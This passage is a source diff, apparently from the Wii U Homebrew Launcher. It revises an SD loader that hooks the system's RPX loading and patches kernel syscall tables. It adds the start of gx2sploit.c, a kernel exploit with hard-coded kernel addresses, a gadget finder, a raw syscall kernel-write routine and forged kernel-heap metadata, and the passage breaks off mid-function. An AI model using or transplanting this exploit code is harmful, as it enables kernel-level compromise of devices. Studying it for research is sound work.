// After IOSU is done writing the data into the 0xF6000000/0xF6400000 address,
|
||||
// we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0
|
||||
// Do this only if we are in the game that was launched by our method
|
||||
s_mem_area *mem_area = MEM_AREA_TABLE;
|
||||
if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0))
|
||||
{
|
||||
unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000);
|
||||
unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000
|
||||
|
||||
remaining_bytes = ELF_DATA_SIZE - sgFileOffset;
|
||||
if (remaining_bytes > 0x400000)
|
||||
// truncate size
|
||||
remaining_bytes = 0x400000;
|
||||
|
||||
DCFlushRange((void*)load_address, remaining_bytes);
|
||||
|
||||
u32 rpxBlockPos = 0;
|
||||
u32 done = 0;
|
||||
u32 mapOffset = 0;
|
||||
|
||||
while((done < (u32)sgFileOffset) && mem_area)
|
||||
{
|
||||
if((done + mem_area->size) > (u32)sgFileOffset)
|
||||
{
|
||||
mapOffset = sgFileOffset - done;
|
||||
done = sgFileOffset;
|
||||
}
|
||||
else
|
||||
{
|
||||
done += mem_area->size;
|
||||
mem_area = mem_area->next;
|
||||
}
|
||||
}
|
||||
|
||||
while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area)
|
||||
{
|
||||
u32 address = mem_area->address + mapOffset;
|
||||
u32 blockSize = ELF_DATA_SIZE - done;
|
||||
|
||||
if(blockSize > (0x400000 - rpxBlockPos))
|
||||
{
|
||||
blockSize = 0x400000 - rpxBlockPos;
|
||||
}
|
||||
if((mapOffset + blockSize) >= mem_area->size)
|
||||
{
|
||||
blockSize = mem_area->size - mapOffset;
|
||||
mem_area = mem_area->next;
|
||||
mapOffset = 0;
|
||||
}
|
||||
|
||||
SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize);
|
||||
done += blockSize;
|
||||
rpxBlockPos += blockSize;
|
||||
mapOffset += blockSize;
|
||||
}
|
||||
|
||||
DCInvalidateRange((void*)load_address, remaining_bytes);
|
||||
|
||||
if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE)
|
||||
{
|
||||
ELF_DATA_ADDR = 0xDEADC0DE;
|
||||
ELF_DATA_SIZE = 0;
|
||||
MAIN_ENTRY_ADDR = 0xC001C0DE;
|
||||
}
|
||||
// set result to 0 -> "everything OK"
|
||||
result = 0;
|
||||
}
|
||||
|
||||
// end of our little intrusion into this function
|
||||
//------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
// set the result to the global bounce error variable
|
||||
if(sgBounceError) {
|
||||
*sgBounceError = result;
|
||||
}
|
||||
|
||||
// disable global flag that buffer is still loaded by IOSU
|
||||
if(sgFinishedLoadingBuffer)
|
||||
{
|
||||
unsigned int zeroBitCount = 0;
|
||||
asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer));
|
||||
*sgFinishedLoadingBuffer = zeroBitCount >> 5;
|
||||
}
|
||||
else if(sgIsLoadingBuffer)
|
||||
{
|
||||
*sgIsLoadingBuffer = 0;
|
||||
}
|
||||
|
||||
// check result for errors
|
||||
if(result == 0)
|
||||
{
|
||||
// the remaining size is set globally and in stack variable only
|
||||
// if a pointer was passed to this function
|
||||
if(iRemainingBytes) {
|
||||
if(sgGotBytes) {
|
||||
*sgGotBytes = remaining_bytes;
|
||||
}
|
||||
|
||||
*iRemainingBytes = remaining_bytes;
|
||||
|
||||
// on 5.5.x a new variable for total loaded bytes was added
|
||||
if(sgTotalBytes) {
|
||||
*sgTotalBytes += remaining_bytes;
|
||||
}
|
||||
}
|
||||
// Comment (Dimok):
|
||||
// calculate time difference and print it on logging how long the wait for asynchronous data load took
|
||||
// something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap
|
||||
}
|
||||
else {
|
||||
// Comment (Dimok):
|
||||
// a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo)
|
||||
{
|
||||
if(ELF_DATA_ADDR == MEM_AREA_TABLE->address)
|
||||
{
|
||||
xmlKernelInfo->max_size = RPX_MAX_SIZE;
|
||||
xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE;
|
||||
//! setup our hook to LiWaitOneChunk for RPX loading
|
||||
hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002;
|
||||
KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4);
|
||||
asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31));
|
||||
}
|
||||
else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_
|
||||
{
|
||||
//! restore original LiWaitOneChunk instruction as our RPX is done
|
||||
MAIN_ENTRY_ADDR = 0xDEADC0DE;
|
||||
KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4);
|
||||
asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31));
|
||||
}
|
||||
}
|
||||
|
||||
static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut)
|
||||
{
|
||||
int iFd = -1;
|
||||
void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4);
|
||||
if(!pClient)
|
||||
return 0;
|
||||
|
||||
void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4);
|
||||
if(!pCmd)
|
||||
{
|
||||
private_data->MEMFreeToDefaultHeap(pClient);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int success = 0;
|
||||
private_data->FSInit();
|
||||
private_data->FSInitCmdBlock(pCmd);
|
||||
private_data->FSAddClientEx(pClient, 0, -1);
|
||||
|
||||
do
|
||||
{
|
||||
char tempPath[FS_MOUNT_SOURCE_SIZE];
|
||||
char mountPath[FS_MAX_MOUNTPATH_SIZE];
|
||||
|
||||
int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1);
|
||||
if (status != 0) {
|
||||
private_data->OSFatal("FSGetMountSource failed.");
|
||||
}
|
||||
status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
|
||||
if(status != 0) {
|
||||
private_data->OSFatal("SD mount failed.");
|
||||
}
|
||||
|
||||
status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1);
|
||||
if(status != 0) {
|
||||
private_data->OSFatal("FSOpenFile failed.");
|
||||
}
|
||||
|
||||
FSStat stat;
|
||||
stat.size = 0;
|
||||
|
||||
void *pBuffer = NULL;
|
||||
|
||||
private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1);
|
||||
|
||||
if(stat.size > 0)
|
||||
pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40);
|
||||
else
|
||||
private_data->OSFatal("ELF file empty.");
|
||||
|
||||
unsigned int done = 0;
|
||||
|
||||
while(done < stat.size)
|
||||
{
|
||||
int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1);
|
||||
if(readBytes <= 0) {
|
||||
break;
|
||||
}
|
||||
done += readBytes;
|
||||
}
|
||||
|
||||
if(done != stat.size)
|
||||
{
|
||||
private_data->MEMFreeToDefaultHeap(pBuffer);
|
||||
}
|
||||
else
|
||||
{
|
||||
*fileOut = (unsigned char*)pBuffer;
|
||||
*sizeOut = stat.size;
|
||||
success = 1;
|
||||
}
|
||||
|
||||
private_data->FSCloseFile(pClient, pCmd, iFd, -1);
|
||||
private_data->FSUnmount(pClient, pCmd, mountPath, -1);
|
||||
}
|
||||
while(0);
|
||||
|
||||
private_data->FSDelClient(pClient);
|
||||
private_data->MEMFreeToDefaultHeap(pClient);
|
||||
private_data->MEMFreeToDefaultHeap(pCmd);
|
||||
return success;
|
||||
}
|
||||
|
||||
static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart)
|
||||
{
|
||||
Elf32_Ehdr *ehdr;
|
||||
@ -468,19 +49,25 @@ static unsigned int load_elf_image (private_data_t *private_data, unsigned char
|
||||
continue;
|
||||
|
||||
if(phdrs[i].p_filesz > phdrs[i].p_memsz)
|
||||
continue;
|
||||
return 0;
|
||||
|
||||
if(!phdrs[i].p_filesz)
|
||||
continue;
|
||||
|
||||
unsigned int p_paddr = phdrs[i].p_paddr;
|
||||
image = (unsigned char *) (elfstart + phdrs[i].p_offset);
|
||||
|
||||
// use correct offset address for executables and data access
|
||||
if(phdrs[i].p_flags & PF_X)
|
||||
p_paddr += CODE_RW_BASE_OFFSET;
|
||||
else
|
||||
p_paddr += DATA_RW_BASE_OFFSET;
|
||||
|
||||
image = (unsigned char *) (elfstart + phdrs[i].p_offset);
|
||||
private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz);
|
||||
DCFlushRange((void*)p_paddr, phdrs[i].p_filesz);
|
||||
private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz);
|
||||
|
||||
if(phdrs[i].p_flags & PF_X)
|
||||
ICInvalidateRange ((void *) p_paddr, phdrs[i].p_memsz);
|
||||
private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz);
|
||||
}
|
||||
|
||||
//! clear BSS
|
||||
@ -491,31 +78,15 @@ static unsigned int load_elf_image (private_data_t *private_data, unsigned char
|
||||
if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's')
|
||||
{
|
||||
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
|
||||
DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
|
||||
private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
|
||||
}
|
||||
else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's')
|
||||
{
|
||||
private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size);
|
||||
DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
|
||||
private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size);
|
||||
}
|
||||
}
|
||||
|
||||
//! setup hooks
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
|
||||
//! store physical address for later use
|
||||
addrphys_LiWaitOneChunk = private_data->OSEffectiveToPhysical((void*)OS_SPECIFICS->addr_LiWaitOneChunk);
|
||||
|
||||
u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003;
|
||||
DCFlushRange(&addr_my_PrepareTitle_hook, 4);
|
||||
|
||||
//! create our copy syscall
|
||||
SC0x25_KernelCopyData(OS_SPECIFICS->addr_PrepareTitle_hook, private_data->OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4);
|
||||
|
||||
return ehdr->e_entry;
|
||||
}
|
||||
|
||||
@ -541,24 +112,11 @@ static void loadFunctionPointers(private_data_t * private_data)
|
||||
OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy);
|
||||
OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset);
|
||||
OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal);
|
||||
OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, "OSEffectiveToPhysical", private_data->OSEffectiveToPhysical);
|
||||
OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange);
|
||||
OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf);
|
||||
OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile);
|
||||
|
||||
unsigned int sysapp_handle;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle);
|
||||
@ -566,14 +124,10 @@ static void loadFunctionPointers(private_data_t * private_data)
|
||||
|
||||
int _start(int argc, char **argv)
|
||||
{
|
||||
private_data_t private_data;
|
||||
|
||||
if(MAIN_ENTRY_ADDR != 0xC001C0DE)
|
||||
{
|
||||
private_data_t private_data;
|
||||
loadFunctionPointers(&private_data);
|
||||
|
||||
while(1)
|
||||
{
|
||||
if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0)
|
||||
{
|
||||
//! copy data to safe area before processing it
|
||||
@ -583,70 +137,24 @@ int _start(int argc, char **argv)
|
||||
private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE);
|
||||
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
|
||||
private_data.MEMFreeToDefaultHeap(pElfBuffer);
|
||||
|
||||
}
|
||||
ELF_DATA_ADDR = 0xDEADC0DE;
|
||||
ELF_DATA_SIZE = 0;
|
||||
}
|
||||
|
||||
if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0)
|
||||
{
|
||||
if(HBL_CHANNEL)
|
||||
{
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
unsigned char *pElfBuffer = NULL;
|
||||
unsigned int uiElfSize = 0;
|
||||
|
||||
LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/homebrew_launcher/homebrew_launcher.elf", &pElfBuffer, &uiElfSize);
|
||||
|
||||
if(!pElfBuffer)
|
||||
{
|
||||
private_data.OSFatal("Failed to load homebrew_launcher.elf");
|
||||
}
|
||||
else
|
||||
{
|
||||
MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer);
|
||||
if(MAIN_ENTRY_ADDR == 0)
|
||||
{
|
||||
private_data.OSFatal("Failed to load homebrew_launcher.elf");
|
||||
}
|
||||
else
|
||||
{
|
||||
private_data.MEMFreeToDefaultHeap(pElfBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
if((MAIN_ENTRY_ADDR != 0xDEADC0DE) && (MAIN_ENTRY_ADDR != 0))
|
||||
{
|
||||
int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv);
|
||||
|
||||
//! exit to miimaker and restart application on re-enter of another application
|
||||
if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD)
|
||||
{
|
||||
break;
|
||||
}
|
||||
//! exit to homebrew launcher in all other cases
|
||||
else
|
||||
if(returnVal != (int)EXIT_RELAUNCH_ON_LOAD)
|
||||
{
|
||||
MAIN_ENTRY_ADDR = 0xDEADC0DE;
|
||||
private_data.SYSRelaunchTitle(0, 0);
|
||||
private_data.exit(0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int ret = ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv);
|
||||
|
||||
//! if an application returns and was an RPX launch then launch HBL again
|
||||
if(MAIN_ENTRY_ADDR == 0xC001C0DE)
|
||||
{
|
||||
private_data.SYSRelaunchTitle(0, 0);
|
||||
private_data.exit(0);
|
||||
}
|
||||
return ret;
|
||||
return ( (int (*)(int, char **))(*(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry) )(argc, argv);
|
||||
}
|
||||
|
||||
@ -17,6 +17,7 @@
|
||||
#include <coreinit/core.h>
|
||||
#include <coreinit/foreground.h>
|
||||
#include <proc_ui/procui.h>
|
||||
#include <sysapp/launch.h>
|
||||
#include "Application.h"
|
||||
#include "common/common.h"
|
||||
#include "gui/FreeTypeGX.h"
|
||||
@ -29,6 +30,7 @@
|
||||
|
||||
Application *Application::applicationInstance = NULL;
|
||||
bool Application::exitApplication = false;
|
||||
bool Application::quitRequest = false;
|
||||
|
||||
Application::Application()
|
||||
: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000)
|
||||
@ -79,6 +81,11 @@ Application::~Application()
|
||||
SoundHandler::DestroyInstance();
|
||||
|
||||
ProcUIShutdown();
|
||||
|
||||
if(quitRequest)
|
||||
{
|
||||
SYSRelaunchTitle(0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
int Application::exec()
|
||||
@ -91,6 +98,13 @@ int Application::exec()
|
||||
return exitCode;
|
||||
}
|
||||
|
||||
void Application::quit(int code)
|
||||
{
|
||||
exitCode = code;
|
||||
exitApplication = true;
|
||||
quitRequest = true;
|
||||
}
|
||||
|
||||
void Application::fadeOut()
|
||||
{
|
||||
GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 });
|
||||
@ -147,7 +161,8 @@ bool Application::procUI(void)
|
||||
{
|
||||
case PROCUI_STATUS_EXITING:
|
||||
{
|
||||
quit(EXIT_RELAUNCH_ON_LOAD);
|
||||
exitCode = EXIT_SUCCESS;
|
||||
exitApplication = true;
|
||||
break;
|
||||
}
|
||||
case PROCUI_STATUS_RELEASE_FOREGROUND:
|
||||
@ -173,6 +188,8 @@ bool Application::procUI(void)
|
||||
break;
|
||||
}
|
||||
case PROCUI_STATUS_IN_FOREGROUND:
|
||||
{
|
||||
if(!quitRequest)
|
||||
{
|
||||
if(video == NULL)
|
||||
{
|
||||
@ -184,7 +201,7 @@ bool Application::procUI(void)
|
||||
log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight());
|
||||
|
||||
//! setup default Font
|
||||
log_printf("Initialize main font system %p\n", Resources::GetFile("font.ttf"));
|
||||
log_printf("Initialize main font system\n");
|
||||
FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true);
|
||||
GuiText::setPresetFont(fontSystem);
|
||||
|
||||
@ -196,6 +213,7 @@ bool Application::procUI(void)
|
||||
|
||||
}
|
||||
executeProcess = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case PROCUI_STATUS_IN_BACKGROUND:
|
||||
@ -257,6 +275,11 @@ void Application::executeThread(void)
|
||||
AsyncDeleter::triggerDeleteProcess();
|
||||
}
|
||||
|
||||
//! in case we exit to a homebrew let's smoothly fade out
|
||||
if(video)
|
||||
{
|
||||
fadeOut();
|
||||
}
|
||||
|
||||
log_printf("delete mainWindow\n");
|
||||
delete mainWindow;
|
||||
|
||||
@ -53,10 +53,7 @@ public:
|
||||
int exec(void);
|
||||
void fadeOut(void);
|
||||
|
||||
void quit(int code) {
|
||||
exitCode = code;
|
||||
exitApplication = true;
|
||||
}
|
||||
void quit(int code);
|
||||
|
||||
private:
|
||||
Application();
|
||||
@ -66,6 +63,7 @@ private:
|
||||
|
||||
static Application *applicationInstance;
|
||||
static bool exitApplication;
|
||||
static bool quitRequest;
|
||||
|
||||
void executeThread(void);
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@ extern "C" {
|
||||
|
||||
#include "os_defs.h"
|
||||
|
||||
#define HBL_VERSION "v1.4"
|
||||
#define HBL_VERSION "v2.0"
|
||||
|
||||
#define CAFE_OS_SD_PATH "/vol/external01"
|
||||
#define SD_PATH "fs:"
|
||||
@ -19,15 +19,12 @@ extern "C" {
|
||||
|
||||
#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))
|
||||
#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))
|
||||
#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08))
|
||||
#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C))
|
||||
#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10))
|
||||
#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))
|
||||
#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04))
|
||||
|
||||
#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500))
|
||||
|
||||
#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600))
|
||||
#define APP_BASE_MEM ((unsigned char*)(MEM_BASE + 0x2000))
|
||||
|
||||
#ifndef EXIT_SUCCESS
|
||||
#define EXIT_SUCCESS 0
|
||||
|
||||
16
src/entry.c
16
src/entry.c
@ -8,22 +8,6 @@ static volatile uint8_t ucRunOnce = 0;
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
//! *******************************************************************
|
||||
//! * Check if our application is started *
|
||||
//! *******************************************************************
|
||||
/*
|
||||
if (OSGetTitleID != 0 &&
|
||||
OSGetTitleID() != 0x000500101004A200 && // mii maker eur
|
||||
OSGetTitleID() != 0x000500101004A100 && // mii maker usa
|
||||
OSGetTitleID() != 0x000500101004A000) // mii maker jpn
|
||||
return EXIT_RELAUNCH_ON_LOAD;
|
||||
|
||||
//! check if application needs a re-load
|
||||
if(ucRunOnce) {
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
ucRunOnce = 1;
|
||||
*/
|
||||
//! *******************************************************************
|
||||
//! * Jump to our application *
|
||||
//! *******************************************************************
|
||||
|
||||
331
src/kernel/gx2sploit.c
Normal file
331
src/kernel/gx2sploit.c
Normal file
@ -0,0 +1,331 @@
|
||||
#include <coreinit/core.h>
|
||||
#include <coreinit/memory.h>
|
||||
#include <coreinit/debug.h>
|
||||
#include <coreinit/thread.h>
|
||||
#include <coreinit/cache.h>
|
||||
#include <coreinit/dynload.h>
|
||||
#include <coreinit/thread.h>
|
||||
#include <coreinit/exit.h>
|
||||
#include <sysapp/launch.h>
|
||||
#include <gx2/state.h>
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include "common/common.h"
|
||||
#include "utils/logger.h"
|
||||
#include "../../sd_loader/sd_loader.h"
|
||||
|
||||
#define JIT_ADDRESS 0x01800000
|
||||
|
||||
#define KERN_HEAP 0xFF200000
|
||||
#define KERN_HEAP_PHYS 0x1B800000
|
||||
|
||||
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
|
||||
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
|
||||
|
||||
#define KERN_CODE_READ 0xFFF023D4
|
||||
#define KERN_CODE_WRITE 0xFFF023F4
|
||||
#define KERN_DRVPTR 0xFFEAB530
|
||||
#define KERN_ADDRESS_TBL 0xFFEAB7A0
|
||||
|
||||
#define STARTID_OFFSET 0x08
|
||||
#define METADATA_OFFSET 0x14
|
||||
#define METADATA_SIZE 0x10
|
||||
|
||||
#define ADDRESS_main_entry_hook 0x0101c56c
|
||||
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
|
||||
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
|
||||
#define BAT_SETUP_HOOK_ENTRY 0x00800000
|
||||
#define BAT4U_VAL 0x008000FF
|
||||
#define BAT4L_VAL 0x30800012
|
||||
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
|
||||
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
|
||||
|
||||
#define NOP_ADDR(addr) \
|
||||
*(u32*)addr = 0x60000000; \
|
||||
asm volatile("dcbf 0, %0; icbi 0, %0" : : "r" (addr & ~31));
|
||||
|
||||
|
||||
extern int32_t Register(char *driver_name, uint32_t name_length, void *buf1, void *buf2);
|
||||
extern void CopyToSaveArea(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
|
||||
extern void set_semaphore_phys(uint32_t set_semaphore, uint32_t kpaddr, uint32_t gx2data_addr);
|
||||
|
||||
extern void SC0x25_SetupSyscall(void);
|
||||
extern unsigned int SC0x65_ExploitCheck(unsigned int in);
|
||||
|
||||
/* Find a gadget based on a sequence of words */
|
||||
static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
|
||||
{
|
||||
uint32_t *ptr;
|
||||
|
||||
/* Search code before JIT area first */
|
||||
for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++)
|
||||
{
|
||||
if (!memcmp(ptr, &code[0], length)) return ptr;
|
||||
}
|
||||
|
||||
OSFatal("Failed to find gadget!");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Chadderz's kernel write function */
|
||||
static void __attribute__((noinline)) kern_write(const void *addr, uint32_t value)
|
||||
{
|
||||
asm volatile (
|
||||
"li 3,1\n"
|
||||
"li 4,0\n"
|
||||
"mr 5,%1\n"
|
||||
"li 6,0\n"
|
||||
"li 7,0\n"
|
||||
"lis 8,1\n"
|
||||
"mr 9,%0\n"
|
||||
"mr %1,1\n"
|
||||
"li 0,0x3500\n"
|
||||
"sc\n"
|
||||
"nop\n"
|
||||
"mr 1,%1\n"
|
||||
:
|
||||
: "r"(addr), "r"(value)
|
||||
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||
"11", "12"
|
||||
);
|
||||
}
|
||||
|
||||
int exploitThread(int argc, char **argv)
|
||||
{
|
||||
OSDynLoadModule gx2_handle;
|
||||
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
|
||||
|
||||
void (*pGX2SetSemaphore)(uint64_t *sem, int action);
|
||||
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore);
|
||||
uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C;
|
||||
|
||||
u32 gx2_init_attributes[9];
|
||||
u8 *gx2CommandBuffer = (u8*)memalign(0x40, 0x400000);
|
||||
|
||||
gx2_init_attributes[0] = 1;
|
||||
gx2_init_attributes[1] = (u32)gx2CommandBuffer;
|
||||
gx2_init_attributes[2] = 2;
|
||||
gx2_init_attributes[3] = 0x400000;
|
||||
gx2_init_attributes[4] = 7;
|
||||
gx2_init_attributes[5] = 0;
|
||||
gx2_init_attributes[6] = 8;
|
||||
gx2_init_attributes[7] = 0;
|
||||
gx2_init_attributes[8] = 0;
|
||||
GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
|
||||
|
||||
/* Allocate space for DRVHAX */
|
||||
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
|
||||
|
||||
/* Set the kernel heap metadata entry */
|
||||
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
|
||||
metadata[0] = (uint32_t)drvhax;
|
||||
metadata[1] = (uint32_t)-0x4c;
|
||||
metadata[2] = (uint32_t)-1;
|
||||
metadata[3] = (uint32_t)-1;
|
||||
|
||||
/* Find stuff */
|
||||
